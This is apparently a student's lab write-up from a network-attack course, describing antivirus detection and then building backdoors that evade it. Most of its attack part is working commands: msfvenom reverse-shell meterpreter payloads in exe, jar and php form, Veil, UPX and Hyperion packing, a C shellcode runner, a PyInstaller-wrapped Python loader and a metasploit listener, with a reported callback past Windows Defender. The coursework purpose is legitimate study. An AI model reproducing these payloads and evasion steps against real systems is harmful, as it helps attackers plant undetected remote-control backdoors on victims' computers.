《网络对抗技术》Exp3-免杀原理

《网络对抗技术》Exp3-免杀原理

一、实践目标

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

(1)杀软是如何检测出恶意代码的?

1.基于特征码的检测
1.在扫描程序工作后根据特征文件中的特征字符串,进行与待检测文件的扫描匹配,是检测已知恶意代码的最主要方法。
2.启发式恶意软件检测
根据片面特征去推断(看起来像),通常缺乏精确判断依据不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高。
3.基于行为的恶意软件检测
基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式让软件运行,记录其行为并分析(杀软的工作原理)。
4.完整性检测
通过hash值来判断文件是否被篡改。
5.云查杀技术
采用引擎加云上特征库的方式,用最小的资源来对病毒进行查杀。
6.基于人工智能的检测技术
利用数据挖掘等人工智能算法,区分恶意代码与正常代码的行为特征,并形成特征知识库,新的未知代码经过系统评判和学习后,通过分类器的进一步操作将其划入某一个分类。

(2)免杀是做什么?

免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现

(3)免杀的基本方法有哪些?

1.加冷门壳
2.加花指令
3.改程序入口点
4.修改内存特征码
5.直接修改特征码的十六进制法::把特征码所对应的十六进制改成数字差1或差不多的十六进制.
6.修改字符串大小写法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
7.等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
8.指令顺序调换法:把具有特征码的代码顺序互换一下.
9.通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.

三、使用msfvenom生成如jar之类的其他文件

Ⅰ.多次编码生成exe文件

1.检测实验2中生成的后门程序

image-20210328135114698

图3.1.1 检测

2.编码一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.56.101 LPORT=11204 -f exe > shell1.exe

图3.1.2 编码一次

image-20210328134103217

图3.1.3 检测

2.编码十次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.56.101 LPORT=11204 -f exe > shell10.exe

图3.1.4 编码十次

image-20210328134547411

图3.1.5 检测

-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符,-i设置迭代次数

Ⅱ.生成jar文件

msfvenom -p java/shell_reverse_tcp  LHOST=192.168.56.101 LPORT=11204 -f jar > shell.jar

图3.2.1 jar格式

image-20210328140219792

图3.2.2 jar检测

Ⅲ.生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=11204 x> shell.php 

image-20210328144329628

图3.3.1 php格式

图3.3.2 php检测

四、veil,加壳工具

Ⅰ.veil

1.下载(其实先下载wine32会快点)

sudo apt-get install veil-evasion
下载成功后
cd /usr/share/veil/config
vim setup.sh
将250行左右的内容修改为 sudo git clone https://gitee.com/spears/VeilDependencies.git
修改成功后
veil
等待安装

image-20210328143603158

图4.1.1 修改setup.sh

image-20210328153030384

2.使用

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.56.101
set LPORT 11204
generate

image-20210328153819916

图4.1.2 第一步

输入list可以查看各种模式

image-20210328154240453

图4.1.3 选择模式

图4.1.4 设置IP和端口号

图4.1.5 成功

image-20210328155349342

图4.1.6 检测

Ⅱ.加壳

upx shell10.exe -o shell10_upx.exe

图4.2.1 upx加壳

图4.2.2 检测

五、使用C + shellcode编程

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -f c

图5.1 shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}

图5.2 补充代码(图片截的不好)
i686-w64-mingw32-g++ shell_c.c -o shell_c.exe

图5.3 编译

图5.4 检测

六、通过组合应用各种技术实现恶意代码免杀

Ⅰ.c+shellcode+Hyperion

wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip

下载Hyperion2.2

unzip Hyperion-2.2.zip

image-20210328164206575

修改为i686-w64-mingw32-gcc

make

图6.1.1 修改make
wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe

图6.1.2 加壳

image-20210328165857462

图6.1.3 检测

Ⅱ.python+shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -e x86/shikata_ga_nai -f py > shell.py

图6.2.1 生成shellcode

全部代码

图6.2.2 补充代码

python-2.7.17.amd64

pywin32-227.win-amd64-py2.7

PyInstaller3.0

图6.2.3 环境变量

配置环境需要上述三个软件,并安装,python和pywin32一直下一步就可以,进入pyinstaller的安装文件夹,找到setup.py,打开cmd

python setup.py install

图6.2.4 安装pyinstaller

验证安装

图6.2.5

图6.2.6

图6.2.7
pyinstaller -F --noconsole --onefile shell_p.py

图6.2.8 封装程序

图6.2.9 检测

图6.2.10 实现免杀

七、用另一电脑实测,在杀软开启的情况下,可运行并回连成功

使用的是shell_c.exe,目标机是win10,杀毒软件为Windows defender

图7.1 另一台电脑的IP地址

图7.2 启动shell_c.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.107
set LPORT 11204
exploit

图7.3 回连

图7.4 验证

八、问题及解决

1.编码方式不被识别

图8.1 问题
msfvenom --list encoders 

image-20210328140513299

图8.2 帮助文档

可以通过此命令来查看允许的编码方式

2.shell_c缺少dll动态库

image-20210328173141955

在mingw目录下加上就可以libgcc_s_dw2-1.dll,提取码:ykf0,如果没有mingw的环境的话,就在C:\Windows\SysWOW64下安装(32位系统要在C:\Windows\System32下安装)

posted @ 2021-03-28 17:37  20181204王浩博  阅读(156)  评论(0编辑  收藏  举报